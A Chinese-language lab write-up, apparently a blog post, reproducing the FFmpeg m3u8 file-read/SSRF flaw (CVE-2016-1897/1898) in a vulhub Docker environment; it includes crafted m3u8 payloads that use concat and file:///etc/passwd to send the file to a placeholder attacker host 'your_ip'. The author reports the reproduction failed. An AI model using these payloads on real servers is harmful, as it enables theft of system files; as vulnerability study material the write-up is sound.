ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)

漏洞描述

影响范围

  • FFmpeg 2.8.x < 2.8.5
  • FFmpeg 2.7.x < 2.7.5
  • FFmpeg 2.6.x < 2.6.7
  • FFmpeg 2.5.x < 2.5.10

漏洞环境及利用

搭建docker环境

访问8080端口看到上传界面

由于vulhub并没有讲述该漏洞如何复现,我们需要进入环境查看源码

<?php

if(!empty($_FILES)) {

filename = escapeshellarg(_FILES'file''tmp_name');

$newname = './' . uniqid() . '.mp4';

shell_exec("ffmpeg -i filename newname");

}

?>

可以看到就是调用了ffmpeg这个工具来处理文件

这是一个恶意请求的m3u8文件:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

http://your_ip:9999/test.txt

#EXT-X-ENDLIST

文件格式如下:

#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行

#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1

#EXTINF:10.0, 表示该一段 TS 流文件的长度

#EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。所以我们可以试想,用FFMpeg内自带的concat函数,将一个不包含文件结束符的文件与file协议读取的文件衔接起来,请求回攻击机,就能够达到读取任意文件的效果!

漏洞复现

首先,我们需要在 web 服务器上创建一个 back.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。

其次,我们再创建一个恶意的 m3u8 文件,文件内容通过 concat 拼接本地文件/etc/passwd。

最后,我们上传这个恶意的 m3u8 文件。

back.txt:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:,

http://your_ip:9999/?

upload.m3u8:

#EXTM3U

#EXT-X-TARGETDURATION:6

#EXTINF:10.0,

concat:http://your_ip/back.txt|file:///etc/passwd

#EXT-X-ENDLIST

Tip: 以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。

使用python来搭建一个简易的web,将back.txt部署到web上。

python2 -m SimpleHTTPServer 8888

python3 -m http.server 8888

上传恶意m3u8文件,并监听9999端口

复现失败了

相关推荐
m0_747124531 小时前
多媒体框架 FFmpeg 和 GStreamer
ffmpeg·gstreamer
其实防守也摸鱼1 小时前
软件安全与漏洞--Windows底层原理与软件逆向工程基础
linux·网络·数据库·算法·安全·安全架构·软件安全与漏洞
杨先生哦3 小时前
2026 热端攻防:AI 驱动 Web 前端安全全景透析
前端·笔记·安全·web安全
国科安芯5 小时前
基于AS32S601ZIT2型抗辐照MCU的商业航天卫星姿态确定与控制系统研究
单片机·嵌入式硬件·安全·fpga开发·架构·risc-v
持敬chijing5 小时前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析
yuegu7775 小时前
HarmonyOS应用<节气通>开发第30篇:安全存储封装
安全
小鹿研究点东西6 小时前
AI直播系统怎么搭?
人工智能·ffmpeg·自动化·音视频·语音识别
阿狸猿7 小时前
网络安全体系设计
安全·web安全
大鱼>7 小时前
AIoT安全攻防:当物联网设备成为黑客后门
人工智能·物联网·安全·aiot
HackTwoHub7 小时前
免费FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询工具
运维·安全·web安全·搜索引擎·网络安全·系统安全·安全架构